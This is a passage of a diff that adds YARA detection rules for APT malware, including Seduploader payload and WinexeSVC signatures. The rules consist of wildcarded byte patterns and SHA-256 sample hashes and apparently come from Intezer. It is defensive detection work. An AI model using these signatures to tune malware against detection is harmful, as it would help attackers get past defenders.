+		$block_86 = { 48 ?? ?? ?? 4C ?? ?? 48 ?? ?? 41 ?? ?? ?? 84 ?? 0F 84 }
+		$block_87 = { 5? 8B ?? 5? 8B ?? ?? 5? 33 ?? 89 ?? ?? 3B ?? 0F 86 }
+		$block_88 = { 0F B7 ?? C1 ?? ?? 4? 03 ?? 0F B7 ?? ?? 66 ?? ?? 75 }
+		$block_89 = { 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_90 = { 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_91 = { 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_92 = { 45 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 0F 1F }
+		$block_93 = { 8B ?? ?? ?? ?? ?? 6A ?? FF D? 83 ?? ?? ?? 0F 84 }
+		$block_94 = { 8B ?? ?? 89 ?? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 }
+		$block_95 = { 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 95 ?? 3A ?? 0F 85 }
+		$block_96 = { 0F BE ?? 0F B6 ?? FE ?? 4? 66 ?? ?? ?? 3C ?? 72 }
+		$block_97 = { 49 ?? ?? ?? 44 ?? ?? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_98 = { 8B ?? ?? 8B ?? ?? 5? 5? C6 ?? ?? ?? ?? 5? C9 C3 }
+		$block_99 = { 48 ?? ?? ?? 4C ?? ?? 49 ?? ?? 41 ?? ?? ?? 0F 1F }
+
+	condition:
+		hash.sha256(0, filesize) == "6562e2ac60afa314cd463f771fcfb8be70f947f6e2b314b0c48187eebb33dd82" or
+		hash.sha256(0, filesize) == "e1b1143c0003c6905227df37d40aacbaecc2be8b9d86547650fe11bd47ca6989" or
+		hash.sha256(0, filesize) == "bebe0be0cf8349706b2feb789572e035955209d5bf5d5fea0e5d29a7fbfdc7c4" or
+		hash.sha256(0, filesize) == "9f06b3c694c8b398e2f47e98590a94d5daefbebfb5426fb3c99eb34aecb536b8" or
+		hash.sha256(0, filesize) == "88a5377f829e45ed89767e2e4aaee853e587eb202528c963802893108b70fe3f" or
+		hash.sha256(0, filesize) == "fa908ee3822dbda90d3b378ea3c4354eef8a27259ea3fe69a86f18e94f8742a2" or
+		hash.sha256(0, filesize) == "68065abd6482405614d245537600ea60857c6ec9febac4870486b5227589d35c" or
+		hash.sha256(0, filesize) == "0356f5fa9907ea060a7d6964e65f019896deb1c7e303b7ba04da1458dc73a842" or
+		hash.sha256(0, filesize) == "a1c73ce193ffa5323aaef73fbabbc2a984e10900f09cf9fcb0cb11606a23c402" or
+		hash.sha256(0, filesize) == "4096a8c13d6c492d9204cb11c294bb64b04a7636ca1e6257c2ae431d0c385cc2" or
+		hash.sha256(0, filesize) == "261b0a5912965ea95b8ae02aae1e761a61f9ad3a9fb85ef781e62013d6a21368" or
+		hash.sha256(0, filesize) == "1a09ce8a9210d2530d6ce1d59bfae2ac617ac89558cdcdcac15392d176e70c8d" or
+		hash.sha256(0, filesize) == "8a80c2f8dbffa1f2763547aac332746afb85b47f977780485d17d7eb2ea187b7" or
+		hash.sha256(0, filesize) == "280905558e848f5bb9ab923e6e44002480464a8bdeb50f00b6757e1fff8b46fb" or
+		hash.sha256(0, filesize) == "1228e9066819f115e8b2a6c1b75352566a6a5dc002d9d36a8c5b47758c9f6a45" or
+		hash.sha256(0, filesize) == "c19d266af9e33dae096e45e7624ab3a3f642c8de580e902fec9dac11bcb8d3fd" or
+		hash.sha256(0, filesize) == "45a872495dae7805bb537bc7a37a9bd604bf48b26496dbe35f4e13e200bad6a2" or
+		hash.sha256(0, filesize) == "dea4e560017b4da05e8fd0a03ba74239723349934ee8fbd201a79be1ecf1c32d" or
+		hash.sha256(0, filesize) == "c488f4946612c13601a1bed48fce0733645ae3ab5fda03395383160d44bde964" or
+		hash.sha256(0, filesize) == "b8fd23432d615c451b0845a7d7b9b17b371da06627d390f501ca1fd58f9d1ac2" or
+		hash.sha256(0, filesize) == "8646a5330f516adce0c05ad019cf041cf79c1ca069048c3f8db94dcbdb00c408" or
+		hash.sha256(0, filesize) == "7a5cb45a3efcebbf49e18c4b2397dc2bdff039d9127a8119abe4c2f85a85e1f0" or
+		hash.sha256(0, filesize) == "24e11c80f1d4c1e9db654d54cc784db6b5f4a126f9fe5e26c269fdc4009c8f29" or
+		hash.sha256(0, filesize) == "8325cd6e26fb39cf7a08787e771a6cf708e0b45350d1ea239982af06db90804f" or
+		hash.sha256(0, filesize) == "a5b68575ac4fbe83c23ff991ad0d5389f51a2aef71ee3c2277985c68361cf1cc" or
+		hash.sha256(0, filesize) == "8bca0031f3b691421cb15f9c6e71ce193355d2d8cf2b190438b6962761d0c6bb" or
+		hash.sha256(0, filesize) == "1e6a0e542dcddec9d937c111c3ea6670e08c6606f869444d0702ec7f1363bff1" or
+		hash.sha256(0, filesize) == "001d65185910ae8cd9e7e2472745e593be62b98eae3f5f2266a29c37e56daa1d" or
+		hash.sha256(0, filesize) == "8925aa5c9e912236f265f3d3f95b9fa8bbfd8dec1e381f168309056b23995d4c" or
+		hash.sha256(0, filesize) == "d4525abc9dd2b7ab7f0c22e58a0117980039afdf15bed04bb0c637cd41fbfb9d" or
+		hash.sha256(0, filesize) == "858e7a7223d6ed91cfa89f5cae013f9a450d13cdc7adb1963072d6eb6cbad513" or
+		hash.sha256(0, filesize) == "0abda721c4f1ca626f5d8bd2ce186aa98b197ca68d53e81cf152c32230345071" or
+		hash.sha256(0, filesize) == "ddab96e4a8e909065e05c4b6a73ba351ea45ad4806258f41ac3cecbcae8671a6" or
+		hash.sha256(0, filesize) == "4182821d00485cbc5628bbdc41a76e8a956142021f6682549559d04636a17a3f" or
+		hash.sha256(0, filesize) == "fc2dbfda41860b2385314c87e81f1ebb4f9ae1106b697e019841d8c3bf402570" or
+		hash.sha256(0, filesize) == "f97f2985ff599e073156e37cbd34024067680072ac18f9d2040c64eedbe38e4f" or
+		hash.sha256(0, filesize) == "a0749f75ec464a86acd146a825d6ddf1c351f290860fe7bf6a47ce4fb2a085f1" or
+		hash.sha256(0, filesize) == "07393ac2e890772f70adf9e8d3aa07ab2f98e2726e3be275276dadd00daf5fc6" or
+		hash.sha256(0, filesize) == "6c69b9bda696d416cb22b775f9a63f98dd4e634f003e3b0704cbb67721b13dde" or
+		hash.sha256(0, filesize) == "dd8facad6c0626b6c94e1cc891698d4982782a5564aae696a218c940b7b8d084" or
+		hash.sha256(0, filesize) == "715f69916db9ff8fedf6630307f4ebb84aae6653fd0e593036517c5040d84dbe" or
+		hash.sha256(0, filesize) == "82fc44696d1c5ddfdd5338fcafb6a9dcf7a0796235cd58184d05a2f388ed7e9e" or
+		hash.sha256(0, filesize) == "b1800cb1d4b755e05b0fca251b8c6da96bb85f8042f2d755b7f607cbeef58db8" or
+		hash.sha256(0, filesize) == "2d11e8d81bf776d668355ed15a596193d4bb10a42289ddb3223c1227b042d854" or
+		hash.sha256(0, filesize) == "ee8636cfa3521c7f9cc7588221d1edc0eed7ba68256b72e3dc2a4a75a6bd5b87" or
+		hash.sha256(0, filesize) == "b23193bff95c4e65af0c9848036eb80ef006503a78be842e921035f8d77eb5de" or
+		hash.sha256(0, filesize) == "9a527274f99865a7d70487fe22e62f692f8b239d6cb80816b919734c7c741584" or
+		hash.sha256(0, filesize) == "94c220653ea7421c60e3eafd753a9ae9d69b475d61230f2f403789d326309c24" or
+		hash.sha256(0, filesize) == "d11dcf98d78c8281fc7f4affc30a798d6fd7cb0fbdbd9daa8f004fbcd1deee28" or
+		hash.sha256(0, filesize) == "2b6e280b4ff000dc0926d9586a8b3710697ed95112b2e465660e6409823e6bad" or
+		hash.sha256(0, filesize) == "8554e0894babf3c743b66aa2a07f9aa99893be131824ec72835b9fb11e0aeb39" or
+		hash.sha256(0, filesize) == "69691bc9ff36ccb46c2acef50edc393996a4c42bc6e9a86976050b9eff83dc00" or
+		hash.sha256(0, filesize) == "1daeacb30433f88c52f21f2d323dd3c6b556b3611d29a34c6c72e4a8e714f86a" or
+		hash.sha256(0, filesize) == "e00eaf295a28f5497dbb5cb8f647537b6e55dd66613505389c24e658d150972c" or
+		hash.sha256(0, filesize) == "596c486fabc8581f788fe27dcd24fddee8fd8cc484e6744db68a29fa5a804cf6" or
+		hash.sha256(0, filesize) == "72ee0330474c00ec15576112b33e8198b1272e0e3f44fce3800af79821b7e431" or
+		hash.sha256(0, filesize) == "c7661b27a06a3a8c471fbb060ab8cab25fa9546e0a4c5c1101fe8098b2ad11e9" or
+		hash.sha256(0, filesize) == "225e94f198bdfcf7550dc30881654f192e460dce88fe927fad8c5adb149eed25" or
+		hash.sha256(0, filesize) == "52bf280be543485434945074ebc3d1e4f2ab15c0286c7a063c33ea39786a77e1" or
+		hash.sha256(0, filesize) == "cee85e2fd2ca34a2f90bce9b50c400fe4fd14b536fd0ff26c0c3a9aad6e1904a" or
+		hash.sha256(0, filesize) == "b93e55763bd8dec8944410e4e00d0f174640905b99629d8111819528593d1c2a" or
+		hash.sha256(0, filesize) == "608a428b7c7f32726b8239725fb7b7a7760b750ea89e2d66fa966b0797ea614e" or
+		hash.sha256(0, filesize) == "f2287ddc1376c1ffbf6652d06d115a42e041df1976b321142c0f92dbdb96e82e" or
+		hash.sha256(0, filesize) == "32717c2876f5622a562d548b55e09657f453b40d7aeb15bb738c789a4c4ee61d" or
+		hash.sha256(0, filesize) == "02c7cf55fd5c5809ce2dce56085ba43795f2480423a4256537bfdfda0df85592" or
+		hash.sha256(0, filesize) == "e2bea753318d715dfc2f186c49ae3e9c404d0f5df52e959ea546f78a3624bc3b" or
+		hash.sha256(0, filesize) == "b4f755c91c2790f4ab9bac4ee60725132323e13a2688f3d8939ae9ed4793d014" or
+		hash.sha256(0, filesize) == "3d13f2e5b241168005425b15410556bcf26d04078da6b2ef42bc0c2be7654bf8" or
+		hash.sha256(0, filesize) == "b5413aab02e9076e7a62fe53826b16147c3fa4d47b073e334311184e39d9a71e" or
+		hash.sha256(0, filesize) == "dea3a99388e9c962de9ea1008ff35bc2dc66f67a911451e7b501183e360bb95e" or
+		hash.sha256(0, filesize) == "fd39d2837b30e7233bc54598ff51bdc2f8c418fa5b94dea2cadb24cf40f395e5" or
+		hash.sha256(0, filesize) == "aa2914cc937b6eb4e703955cbf576e8d783af2164ddd9ec759dd9ad2cc71d42a" or
+		hash.sha256(0, filesize) == "d0e019229493a1cfb3ffc918a2d8ffcbaee31f9132293c95b1f8c1fd6d595054" or
+		hash.sha256(0, filesize) == "ea957d663dbc0b28844f6aa7dfdc5ac0110a4004ac46c87d0f1aa943ef253cfe" or
+		hash.sha256(0, filesize) == "9ead4bc59075215f8e474d790cef4aa8dbc35815c7339011b956ecce6a84ff47" or
+		hash.sha256(0, filesize) == "b814fdbb7cfe6e5192fe1126835b903354d75bfb15a6c262ccc2caf13a8ce4b6" or
+		hash.sha256(0, filesize) == "638e7ca68643d4b01432f0ecaaa0495b805cc3cccc17a753b0fa511d94a22bdd" or
+		hash.sha256(0, filesize) == "99d3f03fc6f048c74e58da6fb7ea1e831ba31d58194ad2463a7a6cd55da5f96b" or
+		hash.sha256(0, filesize) == "e031299fa1381b40c660b8cd831bb861654f900a1e2952b1a76bedf140972a81" or
+		hash.sha256(0, filesize) == "bf28267386a010197a50b65f24e815aa527f2adbc53c609d2b2a4f999a639413" or
+		hash.sha256(0, filesize) == "5f6b2a0d1d966fc4f1ed292b46240767f4acb06c13512b0061b434ae2a692fa1" or
+		12 of them
+}
+
+rule SeduploaderPayload2 {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 8B ?? 83 ?? ?? 5? 5? 33 ?? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_1 = { 5? 8B ?? 83 ?? ?? 5? 8D ?? ?? 33 ?? 5? 68 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 33 ?? 5? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_3 = { 6A ?? 68 ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? FF 7? ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_4 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 88 ?? ?? ?? ?? ?? ?? 80 C? ?? 75 }
+		$block_5 = { 5? 8B ?? 83 ?? ?? 83 ?? ?? ?? 8D ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_6 = { 5? 33 ?? 6A ?? 5? F7 ?? 0F 90 ?? F7 ?? 0B ?? 5? E8 ?? ?? ?? ?? 8B ?? 89 ?? ?? 5? 85 ?? 75 }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 8B ?? ?? 8B ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 5? 5? 6A ?? 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_9 = { 33 ?? 5? 5? 5? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_10 = { FF 7? ?? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? 5? 8B ?? 5? C9 C3 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 6A ?? FF 7? ?? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 33 ?? 8D ?? ?? AB AB 8B ?? 33 ?? 33 ?? E8 ?? ?? ?? ?? 3B ?? 74 }
+		$block_13 = { 83 ?? ?? ?? 8D ?? ?? 5? FF 7? ?? FF D? 8B ?? ?? 33 ?? 84 ?? 0F 44 ?? 33 ?? 85 ?? 0F 94 }
+		$block_14 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 8B ?? 5? C9 C3 }
+		$block_15 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? C6 ?? ?? ?? 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 0F 84 }
+		$block_16 = { 5? 8B ?? 83 ?? ?? 5? 5? 6A ?? FF 7? ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_17 = { 5? 8B ?? 83 ?? ?? 5? 6A ?? FF 7? ?? 8B ?? 89 ?? ?? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 84 }
+		$block_18 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 5? 5? 89 ?? ?? 8B ?? ?? 5? C9 C2 }
+		$block_19 = { FF 7? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 33 ?? 4? 85 ?? 5? 0F 45 ?? E8 ?? ?? ?? ?? 83 }
+		$block_20 = { 81 7? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 85 }
+		$block_21 = { 5? E8 ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 8B ?? ?? 0F B6 }
+		$block_22 = { 8D ?? ?? 89 ?? ?? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_23 = { 8B ?? 83 ?? ?? 89 ?? 33 ?? 39 ?? 0F 45 ?? 03 ?? 89 ?? ?? 8D ?? ?? 3B ?? 72 }
+		$block_24 = { 8B ?? 33 ?? AB AB AB 83 ?? ?? ?? 83 ?? ?? ?? 8B ?? ?? C7 ?? ?? ?? ?? ?? EB }
+		$block_25 = { 8B ?? ?? 8B ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 5? 5? 89 ?? 8B ?? ?? 5? C9 C2 }
+		$block_26 = { FF 7? ?? E8 ?? ?? ?? ?? 5? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 5? 8B ?? 5? C9 C2 }
+		$block_27 = { 0F B6 ?? 89 ?? ?? 8A ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 25 ?? ?? ?? ?? 79 }
+		$block_28 = { 5? 5? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_29 = { FF 7? ?? E8 ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? C9 C2 }
+		$block_30 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 84 ?? 0F 85 }
+		$block_31 = { 8D ?? ?? 5? 8D ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_32 = { 0F B7 ?? 8B ?? 81 E? ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 66 ?? ?? ?? 74 }
+		$block_33 = { 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 0F B6 ?? 03 ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_34 = { 0F B7 ?? 8B ?? 66 ?? ?? ?? 25 ?? ?? ?? ?? 03 ?? 66 ?? ?? ?? 74 }
+		$block_35 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 5? 5? 83 ?? ?? 0F 82 }
+		$block_36 = { 5? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_37 = { 5? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_38 = { FE ?? ?? 0F B6 ?? 8D ?? ?? ?? ?? ?? ?? 8A ?? 88 ?? 88 ?? 75 }
+		$block_39 = { 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 8B ?? ?? 8B ?? ?? 6A ?? 0F 85 }
+		$block_40 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? 83 ?? ?? ?? 0F 82 }
+		$block_41 = { 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4? 89 ?? ?? 83 ?? ?? 0F 82 }
+		$block_42 = { 8D ?? ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_43 = { 0F B6 ?? ?? 8A ?? ?? FE ?? ?? 88 ?? ?? ?? ?? ?? ?? 75 }
+		$block_44 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_45 = { FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 5? ?? 5? C9 C3 }
+		$block_46 = { 8B ?? ?? E8 ?? ?? ?? ?? 84 ?? 8B ?? ?? 8B ?? ?? 0F 85 }
+		$block_47 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? 5? C9 C2 }
+		$block_48 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 5? 85 ?? 0F 84 }
+		$block_49 = { 8B ?? 8B ?? ?? 66 ?? ?? 0F 95 ?? ?? 66 ?? ?? ?? 74 }
+		$block_50 = { 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? 5? 5? C9 C2 }
+		$block_51 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 33 ?? 5? 39 ?? ?? 0F 84 }
+		$block_52 = { 5? 8B ?? 5? 5? 8B ?? 5? 33 ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_53 = { 85 ?? 89 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 44 }
+		$block_54 = { 8B ?? ?? 8B ?? ?? 5? 5? C6 ?? ?? ?? ?? 5? C9 C3 }
+		$block_55 = { 8B ?? 4? 99 F7 ?? 8B ?? 80 C? ?? 88 ?? 85 ?? 75 }
+		$block_56 = { 5? 8B ?? 5? 5? 8B ?? 5? 33 ?? 8B ?? 85 ?? 0F 84 }
+		$block_57 = { FF 7? ?? E8 ?? ?? ?? ?? 5? 8B ?? 5? 5? 5? C9 C3 }
+		$block_58 = { 5? 89 ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 5? 0F 84 }
+
+	condition:
+		hash.sha256(0, filesize) == "ef027405492bc0719437eb58c3d2774cc87845f30c40040bbebbcc09a4e3dd18" or
+		hash.sha256(0, filesize) == "12e6642cf6413bdf5388bee663080fa299591b2ba023d069286f3be9647547c8" or
+		hash.sha256(0, filesize) == "3ac11a74275725a22c233cd974229d2b167c336da667410f7262b4926dabd31b" or
+		hash.sha256(0, filesize) == "430902c206ab08581de0500ad2f23a77e4915680edb8437c151c77bab6e6cbc3" or
+		hash.sha256(0, filesize) == "eae782130b06d95f3373ff7d5c0977a8019960bdf80614c1aa7e324dc350428a" or
+		hash.sha256(0, filesize) == "0a842c40cdbbbc2bf5a6513e39a2bd8ea266f914ac93c958fda8c0d0048c4f94" or
+		hash.sha256(0, filesize) == "f50791f9909c542e4abb5e3f760c896995758a832b0699c23ca54b579a9f2108" or
+		hash.sha256(0, filesize) == "8c47961181d9929333628af20bdd750021e925f40065374e6b876e3b8afbba57" or
+		hash.sha256(0, filesize) == "11cd541511cc793e7416655cda1e100d0a70fb043dfe7f6664564b91733431d0" or
+		hash.sha256(0, filesize) == "c3b2c7bbd2aa1e3100b9382ed78dfa0041af764e0e02013acdf282410b302ead" or
+		hash.sha256(0, filesize) == "0ac7b666814fd016b3d21d7812f4a272104511f90ca666fa13e9fb6cefa603c7" or
+		hash.sha256(0, filesize) == "df47a939809f925475bc19804319652635848b8f346fb7dfd8c95c620595fe9f" or
+		hash.sha256(0, filesize) == "aeeab3272a2ed2157ebf67f74c00fafc787a2b9bbaa17a03be1e23d4cb273632" or
+		hash.sha256(0, filesize) == "853dbbba09e2463c45c0ad913d15d67d15792d888f81b4908b2216859342aa04" or
+		hash.sha256(0, filesize) == "73db52c0d4e31a00030b47b4f0fa7125000b19c6c9d462c3d0ce0f9d68f04e4c" or
+		hash.sha256(0, filesize) == "57d230ddaf92e2d0504e5bb12abf52062114fb8980c5ecc413116b1d6ffedf1b" or
+		hash.sha256(0, filesize) == "500fa112a204b6abb365101013a17749ce83403c30cd37f7c6f94e693c2d492f" or
+		hash.sha256(0, filesize) == "dfa8a85e26c07a348a854130c652dcc6d29b203ee230ce0603c83d9f11bbcacc" or
+		hash.sha256(0, filesize) == "5a414a39851c4e22d4f9383211dfc080e16e2caffd90fa06dcbe51d11fdb0d6c" or
+		hash.sha256(0, filesize) == "69940a20ab9abb31a03fcefe6de92a16ed474bbdff3288498851afc12a834261" or
+		hash.sha256(0, filesize) == "b6fff95a74f9847f1a4282b38f148d80e4684d9c35d9ae79fad813d5dc0fd7a9" or
+		hash.sha256(0, filesize) == "3b87bfb837339445987cdf2e97169cb0c63072dc1d5bffa8ffb4af108a410988" or
+		hash.sha256(0, filesize) == "1140c624fbfe28b9ef19fef2e9aa251adfbe8c157820d5f0356d88b4d80c2c88" or
+		hash.sha256(0, filesize) == "6b8c44ba1d8ed34b9c3ce7142f9a09a8b50aa1a40a45774bec23c0f59aad0117" or
+		12 of them
+}
+
+rule WinexeSVC {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 31 ?? B9 ?? ?? ?? ?? 48 ?? ?? F3 ?? ?? 48 ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 31 ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 4D ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_1 = { B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 31 ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? 45 ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? FF D? 48 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 85 }
+		$block_3 = { FF 1? ?? ?? ?? ?? C1 ?? ?? 03 ?? ?? 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? 89 ?? E8 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_4 = { 48 ?? ?? ?? ?? ?? ?? 41 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 4C ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_5 = { 0F 1F ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? FF D? 8B ?? ?? 85 ?? 0F 85 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF D? BA ?? ?? ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? FF D? 8B ?? ?? 85 ?? 0F 85 }
+		$block_7 = { 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 45 ?? ?? 48 ?? ?? ?? 41 ?? ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_8 = { 89 ?? 48 ?? ?? ?? ?? C1 ?? ?? A9 ?? ?? ?? ?? 0F 44 ?? 49 ?? ?? ?? 89 ?? 4C ?? ?? ?? 00 ?? 48 ?? ?? 49 ?? ?? ?? 48 ?? ?? 45 ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 74 }
